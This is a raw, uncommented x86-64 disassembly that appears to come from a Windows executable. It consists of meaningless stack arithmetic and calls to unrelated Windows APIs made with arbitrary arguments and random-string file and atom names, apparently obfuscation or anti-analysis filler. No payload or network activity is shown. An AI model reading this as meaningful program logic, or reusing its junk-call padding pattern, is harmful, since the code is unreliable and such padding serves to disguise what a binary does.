mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
xor eax, ecx
mov byte [0x14035e48e], al
mov eax, dword [rsp + 0x8604]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x13220], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13220]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa87c]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x13228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13228]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov r8d, 0x22
lea rdx, [rsp + 0x130e8]
mov cx, 0x75
call qword [sym.imp.USER32.dll_CharNextExA]
mov qword [rsp + 0x13230], rax
jmp 0x14030caa8
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b4]
xor eax, ecx
movzx ecx, byte [0x14035e48e]
movzx edx, byte [rsp + 0x43d]
and ecx, edx
cmp eax, ecx
jne 0x14030caa8
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2484]
add eax, ecx
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x13050]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jge 0x140021d55
lea rdx, [rsp + 0x12fd8]
mov rcx, qword [rsp + 0x13238]
call qword [sym.imp.USER32.dll_GetClientRect]
mov dword [rsp + 0xa80c], eax
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a0]
and eax, ecx
mov word [rsp + 0x2484], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b4], al
mov dword [rsp + 0x20], 0xb6
mov r9d, 0xe2
lea r8, [rsp + 0x131d8]
lea rdx, [rsp + 0xa8ac]
mov ecx, 0xb8
call qword [sym.imp.USER32.dll_GetMouseMovePointsEx]
mov dword [rsp + 0xa81c], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a0]
and eax, ecx
mov word [rsp + 0x2484], ax
jmp 0x14030c9f8
mov rax, qword [rsp + 0x131b0]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov edx, dword [rsp + 0xa8ac]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jbe 0x140021e17
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa808]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa81c]
mov dword [rsp + 0xa894], eax
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0xa7f4], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [0x14035cbd8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x6b4]
xor eax, ecx
mov byte [rsp + 0x43d], al
jmp 0x14030c9f8
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x628]
add eax, ecx
movsx ecx, byte [rsp + 0x43e]
movsx edx, byte [rsp + 0x6b2]
sub ecx, edx
cmp eax, ecx
jg 0x14030c869
lea rcx, [rsp + 0x41aa8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13090]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa884], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa884], eax
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x13240], rax
movzx eax, byte [rsp + 0x43d]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b4], al
mov dword [rsp + 0x20], 0x39aa
mov r9d, 0x288d
mov r8d, 0x32fa
mov edx, 0xa5a
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa8b8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
movzx eax, word [rsp + 0x299c]
mov word [0x140362b7c], ax
lea rax, [rsp + 0xa868]
mov qword [rsp + 0x13248], rax
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d8]
shl eax, cl
mov dword [rsp + 0x920c], eax
mov rax, qword [rsp + 0x131b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa87c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
movzx eax, byte [rsp + 0x43d]
movzx ecx, byte [rsp + 0x6b1]
sar eax, cl
mov rcx, qword [rsp + 0x131f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2484]
mov word [rsp + 0x29a4], ax
lea rax, [rsp + 0x43e]
mov qword [rsp + 0x13250], rax
movsx eax, word [rsp + 0x2990]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
lea rax, [rsp + 0xa808]
mov qword [0x140363950], rax
mov eax, dword [rsp + 0xa8bc]
mov dword [rsp + 0xa8c0], eax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29a0], ax
movzx eax, byte [rsp + 0x6b3]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa894]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8b00], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7b8], eax
lea rax, [rsp + 0xa854]
mov qword [rsp + 0x13258], rax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa850]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.8AYyogWqV0de3lWX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13260], rax
lea rax, [rsp + 0x2484]
mov qword [0x140363958], rax
mov eax, dword [rsp + 0xa8a0]
mov dword [rsp + 0xa8c4], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xa894], eax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2988], ax
mov r9d, 2
lea r8, [rsp + 0x12fb0]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa8b8], eax
mov rax, qword [rsp + 0x13188]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7200], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x13020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
lea rax, [rsp + 0xa894]
mov qword [rsp + 0x13270], rax
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x628]
movsx ecx, byte [rsp + 0x43e]
add eax, ecx
mov byte [rsp + 0x40c], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov word [rsp + 0x29a8], ax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x43d]
shl eax, cl
mov byte [0x140353573], al
mov eax, dword [0x14035cbd8]
mov rcx, qword [rsp + 0x13248]
mov qword [rsp + 0x13278], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13278]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa7d0], eax
lea rax, [rsp + 0xa808]
mov qword [rsp + 0x13280], rax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [0x140363958]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x29a4], ax
mov eax, dword [rsp + 0x8b00]
mov dword [rsp + 0xa8c8], eax
mov eax, dword [rsp + 0xa8b0]
mov ecx, dword [rsp + 0xa8c4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa850]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [0x140362b9c], ax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8a8], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x13248]
mov eax, dword [rax]
mov dword [rsp + 0xa8cc], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa854]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cc4], ax
lea rax, [rsp + 0x6b2]
mov qword [rsp + 0x13288], rax
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x299c]
and eax, ecx
mov word [rsp + 0x2484], ax
lea rcx, str.QLNX8Y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x29ac], ax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
or eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
lea rax, [rsp + 0xa8cc]
mov qword [rsp + 0x13290], rax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa868]
mov dword [rsp + 0xa8d0], eax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa7c0], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa850]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13298], rax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
mov byte [rsp + 0x6b5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, word [0x140362b7c]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29a0], ax
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13188]
mov qword [rsp + 0x132a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x132a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8b00], eax
lea rax, [rsp + 0xa8c4]
mov qword [rsp + 0x132a8], rax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov dword [0x140363960], eax
lea rax, [rsp + 0x29a8]
mov qword [rsp + 0x132b0], rax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov byte [rsp + 0x6b5], al
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
or eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
lea rax, [rsp + 0x40c]
mov qword [rsp + 0x132b8], rax
lea rax, [rsp + 0xa8c4]
mov qword [rsp + 0x132c0], rax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0x8604]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x132c8], rax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
and eax, ecx
mov byte [rsp + 0x6b1], al
lea rax, [rsp + 0xa8a0]
mov qword [0x140363968], rax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa850]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
lea rax, [rsp + 0xa8c8]
mov qword [rsp + 0x132d0], rax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [0x14035cbd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa808], eax
movzx eax, word [rsp + 0x29a8]
movzx ecx, word [rsp + 0x299c]
sub eax, ecx
mov word [rsp + 0x1088], ax
lea rcx, str.LpZ.OUFrFw0_Y4iZU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x29b0], ax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b5]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x13270]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa810]
mov dword [rsp + 0xa8d4], eax
mov rax, qword [rsp + 0x132a8]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov eax, dword [rsp + 0xa7d4]
mov rcx, qword [rsp + 0x12f20]
mov qword [rsp + 0x132d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x132d8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14035cbdc], eax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xa8bc]
mov qword [rsp + 0x132e0], rax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
lea rax, [rsp + 0x43e]
mov qword [rsp + 0x132e8], rax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cb4]
sar eax, cl
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b3], al
mov rax, qword [rsp + 0x13280]
mov ecx, dword [rsp + 0xa7d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6768], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [0x14035cbdc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8d4], eax
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x132f0], rax
lea rax, [rsp + 0x43d]
mov qword [0x140363970], rax
mov eax, dword [rsp + 0xa8d0]
mov ecx, dword [rsp + 0xa868]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13258]
mov eax, dword [rax]
mov dword [rsp + 0xa81c], eax
mov eax, dword [rsp + 0xa8c8]
mov dword [rsp + 0xa8d8], eax
mov rax, qword [rsp + 0x13290]
mov ecx, dword [rsp + 0xa8ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13248]
mov dword [rcx], eax
lea rax, [0x140362b7c]
mov qword [rsp + 0x132f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x132e0]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa850], eax
mov eax, dword [0x14035cbdc]
mov dword [rsp + 0xa8dc], eax
movzx eax, byte [rsp + 0x6b2]
mov byte [0x14035e48f], al
mov rax, qword [rsp + 0x131b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51b], al
mov r9d, 0x1e4b
xor r8d, r8d
lea rdx, [rsp + 0x12f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa8e0], eax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [rsp + 0x299c]
add eax, ecx
mov rcx, qword [rsp + 0x13208]
mov word [rcx], ax
mov eax, dword [rsp + 0xa7dc]
mov dword [rsp + 0xa8e4], eax
mov rax, qword [rsp + 0x132c0]
mov eax, dword [rax]
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8c0], eax
lea rax, [rsp + 0xa8bc]
mov qword [rsp + 0x13300], rax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
movzx eax, byte [rsp + 0x6b3]
mov rcx, qword [rsp + 0x131f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x22a], al
movzx eax, word [rsp + 0x29a4]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14035cbe0], ax
mov rax, qword [rsp + 0x132c0]
mov eax, dword [rax]
mov rcx, qword [0x140363968]
mov qword [rsp + 0x13308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13308]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13248]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13188]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov dword [rsp + 0xa8e8], eax
lea rdx, [rsp + 0x12f98]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7c4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.dUz2BU4jBiRLcB_tTh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13310], rax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
lea rax, [rsp + 0x6b3]
mov qword [rsp + 0x13318], rax
movzx eax, word [rsp + 0x29a0]
movzx ecx, word [rsp + 0x299c]
and eax, ecx
mov word [rsp + 0x29a4], ax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2990], ax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x40c]
or eax, ecx
mov byte [rsp + 0x5fd], al
lea rax, [0x14035cbd8]
mov qword [0x140363978], rax
mov rax, qword [rsp + 0x13258]
mov rcx, qword [rsp + 0x13270]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov word [rsp + 0x29b4], ax
mov rax, qword [rsp + 0x131f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13090]
mov ecx, dword [rsp + 0xa8c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa850], eax
lea rax, [rsp + 0xa868]
mov qword [rsp + 0x13320], rax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
lea rax, [rsp + 0xa884]
mov qword [rsp + 0x13328], rax
mov r9d, 0x177b
xor r8d, r8d
lea rdx, [rsp + 0x13200]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2484]
add eax, ecx
mov word [rsp + 0x298c], ax
lea rax, [rsp + 0x51b]
mov qword [0x140363980], rax
lea rax, [rsp + 0xa78c]
mov qword [rsp + 0x13330], rax
mov eax, dword [rsp + 0x7200]
mov rcx, qword [rsp + 0x13300]
mov qword [rsp + 0x13338], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13338]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13270]
mov rcx, qword [rsp + 0x13188]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7200], eax
mov eax, dword [rsp + 0xa804]
mov dword [rsp + 0xa8ec], eax
mov eax, dword [rsp + 0xa774]
mov rcx, qword [rsp + 0x13258]
mov qword [rsp + 0x13340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13340]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7200], eax
lea rax, [rsp + 0x2990]
mov qword [rsp + 0x13348], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movsx eax, byte [0x14035e48f]
movsx ecx, byte [rsp + 0x43e]
or eax, ecx
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x22a]
and eax, ecx
mov rcx, qword [rsp + 0x13318]
mov byte [rcx], al
lea rax, [rsp + 0x29b4]
mov qword [0x140363988], rax
mov rax, qword [rsp + 0x131b0]
mov rcx, qword [rsp + 0x13290]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
mov eax, dword [rsp + 0xa8ac]
mov ecx, dword [rsp + 0x6768]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov r9d, 2
lea r8, [rsp + 0x13268]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa8f0], eax
mov rax, qword [rsp + 0x132f8]
movzx eax, word [rax]
mov word [rsp + 0x29b8], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x13318]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51b], al
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8b00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
lea rax, [rsp + 0xa8b0]
mov qword [rsp + 0x13350], rax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa854]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13328]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa810]
mov ecx, dword [rsp + 0xa7d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d94], eax
lea rax, [rsp + 0x22a]
mov qword [0x140363990], rax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1088], ax
lea rax, [rsp + 0xa8cc]
mov qword [rsp + 0x13358], rax
mov rax, qword [rsp + 0x132e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8b00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d4], eax
movsx eax, word [rsp + 0x2990]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1784], ax
movzx eax, byte [rsp + 0x628]
mov byte [rsp + 0x6b6], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov byte [rsp + 0x6b7], al
mov rax, qword [rsp + 0x13358]
mov rcx, qword [rsp + 0x13350]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13358]
